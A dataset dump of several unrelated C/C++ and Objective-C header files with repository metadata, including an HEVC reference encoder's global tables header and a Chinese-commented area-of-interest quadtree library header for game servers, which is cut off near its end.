01f9c2e62c4289194e33244aade34b7d19e7c9b8
[ "MIT" ]
null
null
null
private/shell/applets/smtidy/lnktrack.h
King0987654/windows2000
01f9c2e62c4289194e33244aade34b7d19e7c9b8
[ "MIT" ]
14
2019-01-16T01:01:23.000Z
2022-02-20T15:54:27.000Z
//---------------------------------------------------------------------------- // Stolen and modified from Shell32. //---------------------------------------------------------------------------- #define MIN_NO_UI_SCORE 40 int FindInFolder(HWND hwnd, PSMTIDYINFO psmti);
32.111111
79
0.311419
9b97f7df853d54e0239dc10e2bcd31499d9139a8
380
c
C
subsys/settings/src/settings_init.c
dmgerman/zephyrd3
b6a23cc9c5d534c352e33fd18fff7799ac3c2886
[ "Apache-2.0" ]
null
null
null
subsys/settings/src/settings_init.c
dmgerman/zephyrd3
b6a23cc9c5d534c352e33fd18fff7799ac3c2886
[ "Apache-2.0" ]
null
null
null
subsys/settings/src/settings_init.c
dmgerman/zephyrd3
b6a23cc9c5d534c352e33fd18fff7799ac3c2886
[ "Apache-2.0" ]
null
null
null
DECL|config_init_settings_fcb|variable|config_init_settings_fcb DECL|config_init_settings_file|variable|config_init_settings_file DECL|settings_fcb_area|variable|settings_fcb_area DECL|settings_init_fcb|function|static void settings_init_fcb(void) DECL|settings_init_fs|function|static void settings_init_fs(void) DECL|settings_subsys_init|function|int settings_subsys_init(void)
54.285714
67
0.907895
6f2bfcd2f4b4067346c93ce45184c143c63a9861
296
h
C
AsterServer/AsterServer/Monster.h
druid0228/Aster
8127b881ee26dc8d778adca8cd366b47e3847236
[ "MIT" ]
null
null
null
AsterServer/AsterServer/Monster.h
druid0228/Aster
8127b881ee26dc8d778adca8cd366b47e3847236
[ "MIT" ]
null
null
null
AsterServer/AsterServer/Monster.h
druid0228/Aster
8127b881ee26dc8d778adca8cd366b47e3847236
[ "MIT" ]
null
null
null
#pragma once class Monster : public BaseObject { public: int speed; public: virtual void initialize()override; virtual void destroy()override; virtual void collide(BaseObject& other)override; virtual void move()override; virtual void attack()override; virtual void damaged()override; };
18.5
49
0.77027
c0d3a7792b1cd4749e8b364f06312b1c345c9242
11,798
h
C
source/Lib/TLibCommon/TComRom.h
gilbertlu/HM-16.2
8c8fc4fe8edad05f3d3402ac1b688aac6078da5e
[ "BSD-3-Clause" ]
null
null
null
source/Lib/TLibCommon/TComRom.h
gilbertlu/HM-16.2
8c8fc4fe8edad05f3d3402ac1b688aac6078da5e
[ "BSD-3-Clause" ]
null
null
null
source/Lib/TLibCommon/TComRom.h
gilbertlu/HM-16.2
8c8fc4fe8edad05f3d3402ac1b688aac6078da5e
[ "BSD-3-Clause" ]
1
2022-02-21T05:52:10.000Z
2022-02-21T05:52:10.000Z
/* The copyright in this software is being made available under the BSD * License, included below. This software may be subject to other third party * and contributor rights, including patent rights, and no such rights are * granted under this license. * * Copyright (c) 2010-2014, ITU/ISO/IEC * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * Neither the name of the ITU/ISO/IEC nor the names of its contributors may * be used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF * THE POSSIBILITY OF SUCH DAMAGE. */ /** \file TComRom.h \brief global variables & functions (header) */ #ifndef __TCOMROM__ #define __TCOMROM__ #include "CommonDef.h" #include<stdio.h> #include<iostream> //! \ingroup TLibCommon //! \{ // ==================================================================================================================== // Macros // ==================================================================================================================== #define MAX_CU_DEPTH 6 // log2(CTUSize) #define MAX_CU_SIZE (1<<(MAX_CU_DEPTH)) // maximum allowable size of CU, surely 64? (not 1<<7 = 128) #define MIN_PU_SIZE 4 #define MIN_TU_SIZE 4 #define MAX_TU_SIZE 32 #define MAX_NUM_SPU_W (MAX_CU_SIZE/MIN_PU_SIZE) // maximum number of SPU in horizontal line #define SCALING_LIST_REM_NUM 6 // ==================================================================================================================== // Initialize / destroy functions // ==================================================================================================================== Void initROM(); Void destroyROM(); // ==================================================================================================================== // Data structure related table & variable // ==================================================================================================================== // flexible conversion from relative to absolute index extern UInt g_auiZscanToRaster[ MAX_NUM_SPU_W*MAX_NUM_SPU_W ]; extern UInt g_auiRasterToZscan[ MAX_NUM_SPU_W*MAX_NUM_SPU_W ]; extern UInt* g_scanOrder[SCAN_NUMBER_OF_GROUP_TYPES][SCAN_NUMBER_OF_TYPES][ MAX_CU_DEPTH ][ MAX_CU_DEPTH ]; Void initZscanToRaster ( Int iMaxDepth, Int iDepth, UInt uiStartVal, UInt*& rpuiCurrIdx ); Void initRasterToZscan ( UInt uiMaxCUWidth, UInt uiMaxCUHeight, UInt uiMaxDepth ); // conversion of partition index to picture pel position extern UInt g_auiRasterToPelX[ MAX_NUM_SPU_W*MAX_NUM_SPU_W ]; extern UInt g_auiRasterToPelY[ MAX_NUM_SPU_W*MAX_NUM_SPU_W ]; Void initRasterToPelXY ( UInt uiMaxCUWidth, UInt uiMaxCUHeight, UInt uiMaxDepth ); // global variable (CTU width/height, max. CU depth) extern UInt g_uiMaxCUWidth; extern UInt g_uiMaxCUHeight; extern UInt g_uiMaxCUDepth; extern UInt g_uiAddCUDepth; extern UInt g_auiPUOffset[NUMBER_OF_PART_SIZES]; #define QUANT_SHIFT 14 // Q(4) = 2^14 #define IQUANT_SHIFT 6 #define SCALE_BITS 15 // Inherited from TMuC, pressumably for fractional bit estimates in RDOQ extern Int g_maxTrDynamicRange[MAX_NUM_CHANNEL_TYPE]; #define SQRT2 11585 #define SQRT2_SHIFT 13 #define INVSQRT2 11585 #define INVSQRT2_SHIFT 14 #define ADDITIONAL_MULTIPLIER_BITS 14 #define SHIFT_INV_1ST 7 // Shift after first inverse transform stage #define SHIFT_INV_2ND 12 // Shift after second inverse transform stage extern Int g_quantScales[SCALING_LIST_REM_NUM]; // Q(QP%6) extern Int g_invQuantScales[SCALING_LIST_REM_NUM]; // IQ(QP%6) #if RExt__HIGH_PRECISION_FORWARD_TRANSFORM static const Int g_transformMatrixShift[TRANSFORM_NUMBER_OF_DIRECTIONS] = { 14, 6 }; #else static const Int g_transformMatrixShift[TRANSFORM_NUMBER_OF_DIRECTIONS] = { 6, 6 }; #endif extern const TMatrixCoeff g_aiT4 [TRANSFORM_NUMBER_OF_DIRECTIONS][4][4]; extern const TMatrixCoeff g_aiT8 [TRANSFORM_NUMBER_OF_DIRECTIONS][8][8]; extern const TMatrixCoeff g_aiT16[TRANSFORM_NUMBER_OF_DIRECTIONS][16][16]; extern const TMatrixCoeff g_aiT32[TRANSFORM_NUMBER_OF_DIRECTIONS][32][32]; // ==================================================================================================================== // Luma QP to Chroma QP mapping // ==================================================================================================================== static const Int chromaQPMappingTableSize = 58; extern const UChar g_aucChromaScale[NUM_CHROMA_FORMAT][chromaQPMappingTableSize]; // ==================================================================================================================== // Entropy Coding // ==================================================================================================================== #define CONTEXT_STATE_BITS 6 #define LAST_SIGNIFICANT_GROUPS 10 // ==================================================================================================================== // Scanning order & context mapping table // ==================================================================================================================== extern const UInt ctxIndMap4x4[4*4]; extern const UInt g_uiGroupIdx[ MAX_TU_SIZE ]; extern const UInt g_uiMinInGroup[ LAST_SIGNIFICANT_GROUPS ]; // ==================================================================================================================== // ADI table // ==================================================================================================================== extern const UChar g_aucIntraModeNumFast[MAX_CU_DEPTH]; extern const UChar g_chroma422IntraAngleMappingTable[NUM_INTRA_MODE]; // ==================================================================================================================== // Bit-depth // ==================================================================================================================== extern Int g_bitDepth [MAX_NUM_CHANNEL_TYPE]; extern Int g_PCMBitDepth[MAX_NUM_CHANNEL_TYPE]; #if O0043_BEST_EFFORT_DECODING extern Int g_bitDepthInStream [MAX_NUM_CHANNEL_TYPE]; // In the encoder, this is the same as g_bitDepth. In the decoder, this can vary from g_bitDepth if the decoder is forced to use 'best-effort decoding' at a particular bit-depth. #endif // ==================================================================================================================== // Mode-Dependent DST Matrices // ==================================================================================================================== extern const TMatrixCoeff g_as_DST_MAT_4 [TRANSFORM_NUMBER_OF_DIRECTIONS][4][4]; // ==================================================================================================================== // Misc. // ==================================================================================================================== extern Char g_aucConvertToBit [ MAX_CU_SIZE+1 ]; // from width to log2(width)-2 #ifndef ENC_DEC_TRACE #define ENC_DEC_TRACE 1 #endif #if ENC_DEC_TRACE extern FILE* g_hTrace; extern Bool g_bJustDoIt; extern const Bool g_bEncDecTraceEnable; extern const Bool g_bEncDecTraceDisable; extern Bool g_HLSTraceEnable; extern UInt64 g_nSymbolCounter; #define COUNTER_START 1 #define COUNTER_END 0 //( UInt64(1) << 63 ) #define DTRACE_CABAC_F(x) if ( ( g_nSymbolCounter >= COUNTER_START && g_nSymbolCounter <= COUNTER_END )|| g_bJustDoIt ) fprintf( g_hTrace, "%f", x ); #define DTRACE_CABAC_V(x) if ( ( g_nSymbolCounter >= COUNTER_START && g_nSymbolCounter <= COUNTER_END )|| g_bJustDoIt ) fprintf( g_hTrace, "%d", x ); #define DTRACE_CABAC_VL(x) if ( ( g_nSymbolCounter >= COUNTER_START && g_nSymbolCounter <= COUNTER_END )|| g_bJustDoIt ) fprintf( g_hTrace, "%lld", x ); #define DTRACE_CABAC_T(x) if ( ( g_nSymbolCounter >= COUNTER_START && g_nSymbolCounter <= COUNTER_END )|| g_bJustDoIt ) fprintf( g_hTrace, "%s", x ); #define DTRACE_CABAC_X(x) if ( ( g_nSymbolCounter >= COUNTER_START && g_nSymbolCounter <= COUNTER_END )|| g_bJustDoIt ) fprintf( g_hTrace, "%x", x ); #define DTRACE_CABAC_R( x,y ) if ( ( g_nSymbolCounter >= COUNTER_START && g_nSymbolCounter <= COUNTER_END )|| g_bJustDoIt ) fprintf( g_hTrace, x, y ); #define DTRACE_CABAC_N if ( ( g_nSymbolCounter >= COUNTER_START && g_nSymbolCounter <= COUNTER_END )|| g_bJustDoIt ) fprintf( g_hTrace, "\n" ); #else #define DTRACE_CABAC_F(x) #define DTRACE_CABAC_V(x) #define DTRACE_CABAC_VL(x) #define DTRACE_CABAC_T(x) #define DTRACE_CABAC_X(x) #define DTRACE_CABAC_R( x,y ) #define DTRACE_CABAC_N #endif #define SCALING_LIST_NUM (MAX_NUM_COMPONENT * NUMBER_OF_PREDICTION_MODES) ///< list number for quantization matrix #define SCALING_LIST_START_VALUE 8 ///< start value for dpcm mode #define MAX_MATRIX_COEF_NUM 64 ///< max coefficient number for quantization matrix #define MAX_MATRIX_SIZE_NUM 8 ///< max size number for quantization matrix #define SCALING_LIST_BITS 8 ///< bit depth of scaling list entries #define LOG2_SCALING_LIST_NEUTRAL_VALUE 4 ///< log2 of the value that, when used in a scaling list, has no effect on quantisation #define SCALING_LIST_DC 16 ///< default DC value extern const Char *MatrixType[SCALING_LIST_SIZE_NUM][SCALING_LIST_NUM]; extern const Char *MatrixType_DC[SCALING_LIST_SIZE_NUM][SCALING_LIST_NUM]; extern Int g_quantTSDefault4x4[4*4]; extern Int g_quantIntraDefault8x8[8*8]; extern Int g_quantInterDefault8x8[8*8]; extern UInt g_scalingListSize [SCALING_LIST_SIZE_NUM]; extern UInt g_scalingListSizeX[SCALING_LIST_SIZE_NUM]; extern UInt g_scalingListNum [SCALING_LIST_SIZE_NUM]; //! \} #endif //__TCOMROM__
49.571429
242
0.556789
3eb8433d9aa9243cce175ada3674653a27a1ceed
144
h
C
examples/com_with_master_mcu/user/uart_com_protocol.h
tangquan1994/ESP8266_RTOS_SDK
2ef51f68b8df4864629d1889ae3235a2f8066cf5
[ "BSD-3-Clause" ]
null
null
null
examples/com_with_master_mcu/user/uart_com_protocol.h
tangquan1994/ESP8266_RTOS_SDK
2ef51f68b8df4864629d1889ae3235a2f8066cf5
[ "BSD-3-Clause" ]
null
null
null
examples/com_with_master_mcu/user/uart_com_protocol.h
tangquan1994/ESP8266_RTOS_SDK
2ef51f68b8df4864629d1889ae3235a2f8066cf5
[ "BSD-3-Clause" ]
null
null
null
#ifndef __UART_COM_PROTOCOL_H__ #define __UART_COM_PROTOCOL_H__ #include "esp_common.h" #include "user_config.h" #include "uart.h" #endif
11.076923
31
0.777778
3e5c1dacac8f19ea44261ad2e9c68cff4cb012eb
413
h
C
rss-reader/ChannelsList/View/UVSourcesListViewController.h
trotnic/rss-reader
846e7db45ed427a04b01536cd7a64de159592f57
[ "MIT" ]
null
null
null
rss-reader/ChannelsList/View/UVSourcesListViewController.h
trotnic/rss-reader
846e7db45ed427a04b01536cd7a64de159592f57
[ "MIT" ]
1
2021-02-20T20:23:28.000Z
2021-02-20T20:28:58.000Z
rss-reader/ChannelsList/View/UVSourcesListViewController.h
trotnic/rss-reader
846e7db45ed427a04b01536cd7a64de159592f57
[ "MIT" ]
null
null
null
// // UVSourcesListViewController.h // rss-reader // // Created by Uladzislau Volchyk on 20.12.20. // #import <UIKit/UIKit.h> #import "UVSourcesListViewType.h" #import "UVSourcesListPresenterType.h" NS_ASSUME_NONNULL_BEGIN @interface UVSourcesListViewController : UIViewController <UVSourcesListViewType> @property (nonatomic, retain) id<UVSourcesListPresenterType> presenter; @end NS_ASSUME_NONNULL_END
19.666667
81
0.79661
3e8cf23d2630e88291b1d7ce07fef0e3a91f9172
29,084
h
C
build/3rd/aoi/aoi.h
wanliyun/xLua
80c2238b5b2aaf24b98498fcd6b38b459912c04d
[ "BSD-3-Clause" ]
null
null
null
build/3rd/aoi/aoi.h
wanliyun/xLua
80c2238b5b2aaf24b98498fcd6b38b459912c04d
[ "BSD-3-Clause" ]
null
null
null
build/3rd/aoi/aoi.h
wanliyun/xLua
80c2238b5b2aaf24b98498fcd6b38b459912c04d
[ "BSD-3-Clause" ]
null
null
null
/*! Area Of Interest In Game Developing Copyright Jerryzhou@outlook.com Licence: Apache 2.0 Project: https://github.com/JerryZhou/aoi.git Purpose: Resolve the AOI problem in game developing with high run fps with minimal memory cost, Please see examples for more details. */ #ifndef __AOI_H_ #define __AOI_H_ #include <stdio.h> #include <stdlib.h> #include <memory.h> #include <math.h> #include <time.h> #include <stdint.h> #include <stddef.h> #ifdef _WIN32 #include <windows.h> #define snprintf _snprintf typedef _int64 int64_t; #else #include <stdbool.h> #include <inttypes.h> #include <sys/time.h> #endif /***** * AOI: (Area Of Interesting) * 1. 适用于大批量的对象管理和查询 * 2. 采用四叉树来进行管理,可以通过少量改动支持3D * 3. 动态节点回收管理,减少内存, 节点的数量不会随着四叉树的层次变得不可控,与对象数量成线性关系 * 3. 缓存搜索上下文,减少无效搜索,对于零变更的区域,搜索会快速返回 * 4. 整个搜索过程,支持自定义过滤器进行单元过滤 * 5. AOI 支持对象的内存缓冲区管理 * 6. 线程不安全 * 7. 支持单位半径,不同单位可以定义不同的半径(开启半径感知,会损失一部分性能) * 8. 只提供了搜索结构,不同单位的视野区域可以定义不一样 * * 提高内存访问,建议启用 iimeta (1) * 如果不需要单位半径感知 建议关闭 iiradius (0) */ /* Set up for C function definitions, even when using C++ */ #ifdef __cplusplus extern "C" { #endif /* 是否启动元信息: 记录类型对象的内存使用情况, 并加一层对象的内存缓冲区 */ #define iimeta (1) /* 是否启动单位半径支持 */ #define iiradius (1) /* 常用布尔宏 */ #define iiyes 1 #define iiok 1 #define iino 0 /* 条件检查,不带assert */ #define icheck(con) do { if(!(con)) return ; } while(0) #define icheckret(con, ret) do { if(!(con)) return ret; } while(0) /* 节点查找行为 */ typedef enum EnumFindBehavior { /* 精确查找 */ EnumFindBehaviorAccurate, /* 模糊查找 */ EnumFindBehaviorFuzzy, }EnumFindBehavior; /* 获取当前系统的微秒数 */ int64_t igetcurmicro(); /* 获取当前系统的毫秒数 */ int64_t igetcurtick(); /* 获取系统的下一个唯一的事件微秒数 */ int64_t igetnextmicro(); /* 精度 */ typedef double ireal; /* 编号 */ typedef int64_t iid; /*************************************************************/ /* ipos */ /*************************************************************/ /* 坐标 */ typedef struct ipos { ireal x, y; }ipos; /* 计算距离的平方 */ ireal idistancepow2(const ipos *p, const ipos *t); /*************************************************************/ /* ivec2 */ /*************************************************************/ /* 向量, 完善基本的数学方法: * 加法 ; 减法 ; 乘法 ; 除法 ; 点积(内积) ; 乘积(外积) ; 长度 * */ typedef struct ivec2 { union { ireal values[2]; struct { ireal x, y; } v; } u; }ivec2; /* 两点相减得到向量 */ ivec2 ivec2subtractpoint(const ipos *p0, const ipos *p1); /* 加法*/ ivec2 ivec2add(const ivec2 *l, const ivec2 *r); /* 减法 */ ivec2 ivec2subtract(const ivec2 *l, const ivec2 *r); /* 乘法 */ ivec2 ivec2multipy(const ivec2 *l, const ireal a); /* 点积 */ ireal ivec2dot(const ivec2 *l, const ivec2 *r); /* 乘积 : 二维向量不存在叉积 * ivec2 ivec2cross(const ivec2 *l, const ivec2 *r); * */ /* 长度的平方 */ ireal ivec2lengthsqr(const ivec2 *l); /* 长度 */ ireal ivec2length(const ivec2 *l); /* 绝对值 */ ivec2 ivec2abs(const ivec2* l); /* 平行分量, 确保 r 已经归一化 */ ivec2 ivec2parallel(const ivec2 *l, const ivec2 *r); /* 垂直分量, 确保 r 已经归一化 */ ivec2 ivec2perpendicular(const ivec2 *l, const ivec2 *r); /*************************************************************/ /* ivec3 */ /*************************************************************/ /* 向量 完善基本的数学方法 */ typedef struct ivec3 { union { ireal values[3]; struct { ireal x, y, z; }v; }u; }ivec3; /* 两点相减得到向量 */ /* ivec3 ivec3subtractpoint(const ipos *p0, const ipos *p1);*/ /* 加法*/ ivec3 ivec3add(const ivec3 *l, const ivec3 *r); /* 减法 */ ivec3 ivec3subtract(const ivec3 *l, const ivec3 *r); /* 乘法 */ ivec3 ivec3multipy(const ivec3 *l, const ireal a); /* 点积 */ ireal ivec3dot(const ivec3 *l, const ivec3 *r); /* 乘积 */ ivec3 ivec3cross(const ivec3 *l, const ivec3 *r); /* 长度的平方 */ ireal ivec3lengthsqr(const ivec3 *l); /* 长度 */ ireal ivec3length(const ivec3 *l); /* 绝对值 */ ivec3 ivec3abs(const ivec3* l); /* 归一*/ ivec3 ivec3normalize(const ivec3 *l); /* 平行分量, 确保 r 已经归一化 */ ivec3 ivec3parallel(const ivec3 *l, const ivec3 *r); /* 垂直分量, 确保 r 已经归一化 */ ivec3 ivec3perpendicular(const ivec3 *l, const ivec3 *r); /*************************************************************/ /* isize */ /*************************************************************/ /* 大小 */ typedef struct isize { ireal w, h; }isize; /*************************************************************/ /* irect */ /*************************************************************/ /* 矩形 */ typedef struct irect { ipos pos; isize size; }irect; /* 矩形包含: iiok, iino */ int irectcontains(const irect *con, const irect *r); /* 矩形包含: iiok, iino */ int irectcontainspoint(const irect *con, const ipos *p); /*************************************************************/ /* icircle */ /*************************************************************/ /* 圆形 */ typedef struct icircle { ipos pos; ireal radius; }icircle; /*圆形的关系 */ typedef enum EnumCircleRelation { EnumCircleRelationBContainsA = -2, EnumCircleRelationAContainsB = -1, EnumCircleRelationNoIntersect = 0, EnumCircleRelationIntersect = 1, } EnumCircleRelation; /* 圆形相交: iiok, iino */ int icircleintersect(const icircle *con, const icircle *c); /* 圆形包含: iiok, iino */ int icirclecontains(const icircle *con, const icircle *c); /* 圆形包含: iiok, iino */ int icirclecontainspoint(const icircle *con, const ipos *p); /* 圆形的关系: EnumCircleRelationBContainsA(c包含con), */ /* EnumCircleRelationAContainsB(con包含c), */ /* EnumCircleRelationIntersect(相交), */ /* EnumCircleRelationNoIntersect(相离) */ int icirclerelation(const icircle *con, const icircle *c); /* 矩形与圆是否相交 */ int irectintersect(const irect *con, const icircle *c); /* 名字的最大长度 */ #define IMaxNameLength 32 /*************************************************************/ /* iname */ /*************************************************************/ /* 名字 */ typedef struct iname { char name[IMaxNameLength+1]; }iname; /*************************************************************/ /* imeta */ /*************************************************************/ /* 内存操作 */ #define icalloc(n, size) calloc(n, size) #define irealloc(ptr, size) realloc(ptr, size) #define ifree(p) free(p) #if iimeta /* if iimeta */ /* 最多支持100个类型对象 */ #define IMaxMetaCountForUser 100 /* 前置声明 */ struct imeta; /* 基础的内存对象, 都具备缓冲功能 */ typedef struct iobj { int size; struct imeta *meta; struct iobj *next; char addr[]; }iobj; /* 基础内存对象缓存 */ typedef struct iobjcache { struct iobj *root; int length; int capacity; }iobjcache; /* 编码对象的元信息 */ typedef struct imeta { const char* name; struct iobjcache cache; int size; int64_t current; int64_t alloced; int64_t freed; }imeta; /* 获取类型的元信息 */ imeta *imetaget(int idx); /* 也可以手动注册一个元信息来管理自己的对象: 然后就可以通过 iobjmalloc 进行对象内存管理 */ /* 将会返回对象的meta索引 */ int imetaregister(const char* name, int size, int capacity); /* 获取索引 */ #define imetaindex(type) imeta_##type##_index /* 注册宏 */ #define iregister(type, capacity) imetaregister(#type, sizeof(type), capacity) /* 声明 */ #define irealdeclareregister(type) int imetaindex(type) /* 声明 */ #define iideclareregister(type) extern irealdeclareregister(type) /* 注册宏 */ #define irealimplementregister(type, capacity) imetaindex(type) = iregister(type, capacity) /* 注册宏 */ #define iimplementregister(type, capacity) int irealimplementregister(type, capacity) /* 获取meta */ #define imetaof(type) imetaget(imetaindex(type)) /* 定义所有内部对象的meta索引 */ #define __ideclaremeta(type, capacity) imetaindex(type) #define __iallmeta \ __ideclaremeta(iobj, 0), \ __ideclaremeta(iref, 0), \ __ideclaremeta(ireflist, 1000), \ __ideclaremeta(irefjoint, 200000), \ __ideclaremeta(inode, 4000), \ __ideclaremeta(iunit, 2000), \ __ideclaremeta(imap, 0), \ __ideclaremeta(irefcache, 0), \ __ideclaremeta(ifilter, 2000), \ __ideclaremeta(isearchresult, 0), \ __ideclaremeta(irefautoreleasepool, 0), \ __ideclaremeta(iarray, 0), \ __ideclaremeta(islice, 0) /* 定义所有元信息索引 */ typedef enum EnumMetaTypeIndex { __iallmeta, EnumMetaTypeIndex_imax, }EnumMetaTypeIndex; /* 获取响应的内存:会经过Meta的Cache */ void *iaoicalloc(imeta *meta); /* 释放内存:会经过Meta的Cache */ void iaoifree(void *p); /* 尽可能的释放Meta相关的Cache */ void iaoicacheclear(imeta *meta); /* 打印当前内存状态 */ void iaoimemorystate(); /* 获取指定对象的meta信息 */ imeta *iaoigetmeta(const void *p); /* 指定对象是响应的类型: 一致返回iiok, 否则返回 iino */ int iaoiistype(const void *p, const char* type); #define imetacacheclear(type) (iaoicacheclear(imetaof(type))) #define iobjmalloc(type) ((type*)iaoicalloc(imetaof(type))) #define iobjfree(p) do { iaoifree(p); p = NULL; } while(0) #define iobjistype(p, type) iaoiistype((void*)p, #type) #else /* #if iimeta */ /* 打印当前内存状态: 空的内存状态 */ void iaoimemorystate() ; #define iobjmalloc(type) ((type*)icalloc(1, sizeof(type))) #define iobjfree(p) do { ifree(p); p = NULL; } while(0) #define iobjistype(p, type) iino #endif /* #if iimeta */ /*************************************************************/ /* iref */ /*************************************************************/ /* 定义引用计数,基础对象 */ #define irefdeclare volatile int ref; struct irefcache* cache; ientryfree free; ientrywatch watch /* iref 转换成 target */ #define icast(type, v) ((type*)(v)) /* 转换成iref */ #define irefcast(v) icast(iref, v) /* 前置声明 */ struct iref; struct irefcache; /* iref 的析构函数 */ typedef void (*ientryfree)(struct iref* ref); /* iref 的跟踪函数: 引用计数减小的时候会通知 */ typedef void (*ientrywatch)(struct iref* ref); /* 引用计数结构体 */ typedef struct iref { irefdeclare; }iref; /* 增加引用计数 */ int irefretain(iref *ref); /* 释放引用计数 */ void irefrelease(iref *ref); /* 引用宏 */ #define iretain(p) do { if(p) irefretain((iref*)(p)); } while(0) /* 释放宏 */ #define irelease(p) do { if(p) irefrelease((iref*)(p)); } while(0) /* 应用计数的赋值操作 */ #define iassign(dst, src) do { if(src != dst) { irelease(dst); iretain(src); dst = src; } } while(0) /*************************************************************/ /* irefautoreleasepool */ /*************************************************************/ /* 前置声明 */ struct ireflist; /* 自动释放池子 */ typedef struct irefautoreleasepool { struct ireflist *list; }irefautoreleasepool; /* 申请自动释放池子 */ irefautoreleasepool * irefautoreleasebegin(); /* 自动释放 */ iref* irefautorelease(irefautoreleasepool *pool, iref *ref); /* 结束自动释放 */ void irefautoreleaseend(irefautoreleasepool *pool); /* 返回值本身的,引用retain */ iref *irefassistretain(iref *ref); /* 便利宏用来使用autoreleasepool */ #define _iautoreleasepool irefautoreleasepool* pool = irefautoreleasebegin() #define _iautomalloc(type) ((type*)irefautorelease(pool, irefassistretain((iref*)iobjmalloc(type)))) #define _iautorelease(p) irefautorelease(pool, (iref*)p) #define _iautoreleaseall irefautoreleaseend(pool) /*************************************************************/ /* ireflist */ /*************************************************************/ /* 节点 */ typedef struct irefjoint { /* 附加的对象 */ iref *value; /* 必要的校验 */ struct ireflist *list; /* 列表节点 */ struct irefjoint *next; struct irefjoint *pre; }irefjoint; /* 构造列表节点 */ irefjoint* irefjointmake(iref *value); /* 释放列表节点 */ void irefjointfree(irefjoint* joint); /* 营养对象列表 */ typedef struct ireflist { /* 列表根节点, 也是列表的第一个节点 */ irefjoint *root; /* 列表长度 */ int length; /* 时间 */ int64_t tick; }ireflist; /* 创建列表 */ ireflist *ireflistmake(); /* 获取列表长度 */ int ireflistlen(const ireflist *list); /* 获取第一个节点 */ irefjoint* ireflistfirst(const ireflist *list); /* 从列表里面查找第一个满足要求的节点 */ irefjoint* ireflistfind(const ireflist *list, const iref *value); /* 往列表增加节点: 前置节点 */ irefjoint* ireflistaddjoint(ireflist *list, irefjoint * joint); /* 往列表增加节点: 前置节点(会增加引用计数) */ irefjoint* ireflistadd(ireflist *list, iref *value); /* 从节点里面移除节点, 返回下一个节点 */ irefjoint* ireflistremovejoint(ireflist *list, irefjoint *joint); /* 从节点里面移除节点 , 并且释放当前节点, 并且返回下一个节点 */ irefjoint* ireflistremovejointandfree(ireflist *list, irefjoint *joint); /* 从节点里面移除节点: 并且会释放节点, 返回下一个节点 */ irefjoint* ireflistremove(ireflist *list, iref *value); /* 释放所有节点 */ void ireflistremoveall(ireflist *list); /* 释放列表 */ void ireflistfree(ireflist *list); /*************************************************************/ /* iarray */ /*************************************************************/ struct iarray; struct islice; /*如果是需要跟 arr_invalid 进行交换就是置0 */ #define arr_invalid -1 /* 交换两个对象 */ typedef void (*iarray_entry_swap)(struct iarray *arr, int i, int j); /* 比较两个对象 */ typedef int (*iarray_entry_cmp)(struct iarray *arr, int i, int j); /* 赋值 */ typedef void (*iarray_entry_assign)(struct iarray *arr, int i, void *value); /* 数组常用控制项 */ typedef enum EnumArrayFlag { EnumArrayFlagNone = 0, /* 移除元素的时候, * 不移动数组,直接从后面替补 * */ EnumArrayFlagKeepOrder = 1<<1, /*是否保持有序*/ /*是否是简单数组, *单元不需要通过swap或者assign去释放 *truncate 的时候可以直接设置长度 **/ EnumArrayFlagSimple = 1<<2, /*自动缩减存储容量*/ EnumArrayFlagAutoShirk = 1<<3, }EnumArrayFlag; /* 数组基础属性, 类型元信息 */ typedef struct iarrayentry{ int flag; size_t size; iarray_entry_swap swap; iarray_entry_cmp cmp; iarray_entry_assign assign; } iarrayentry; /* 通用数组 */ typedef struct iarray { irefdeclare; size_t capacity; size_t len; char *buffer; /* 每一种数组类型都需要定义这个*/ const iarrayentry* entry; }iarray; /* 建立数组*/ iarray *iarraymake(size_t capacity, const iarrayentry *entry); /* 释放 */ void iarrayfree(iarray *arr); /* 长度 */ size_t iarraylen(const iarray *arr); /* 容量*/ size_t iarraycapacity(const iarray *arr); /* 查询 */ void* iarrayat(iarray *arr, int index); /* 数组内存缓冲区 */ void* iarraybuffer(iarray *arr); /* 删除 */ int iarrayremove(iarray *arr, int index); /* 增加 */ int iarrayadd(iarray *arr, void* value); /* 清理数组 */ void iarrayremoveall(iarray *arr); /* 截断数组 */ void iarraytruncate(iarray *arr, size_t len); /* 缩减容量 */ size_t iarrayshrinkcapacity(iarray *arr, size_t capacity); /* 排序 */ void iarraysort(iarray *arr); /*************************************************************/ /* islice */ /*************************************************************/ typedef struct islice { irefdeclare; iarray *array; int begin; int end; }islice; /*************************************************************/ /* irefcache */ /*************************************************************/ /* 构造函数 */ typedef iref* (*icachenewentry)(); /* 缓存弃守接口: 缓冲区放不下了就会调用这个 */ typedef void (*icacheenvictedentry)(iref *ref); /* Cache */ /* 从缓存里面拿的东西,是需要释放的 */ /* 缓存参与引用计数对象的管理 */ typedef struct irefcache{ iname name; ireflist* cache; int capacity; icachenewentry newentry; icacheenvictedentry envicted; }irefcache; /* 创造一个cache */ irefcache *irefcachemake(int capacity, icachenewentry newentry); /* 从缓存里面取一个 */ iref *irefcachepoll(irefcache *cache); /* 释放到缓存里面: 只有 ref 真正没有被其他用到的时候才会回收到缓冲区重复使用 */ /* 可以用来代替 irelease 的调用 */ /* 即使不是通过irefcachepoll 获取的对象也可以放入缓存里面只要类型一致 */ void irefcachepush(irefcache *cache, iref *ref); /* 当前缓冲区清理, 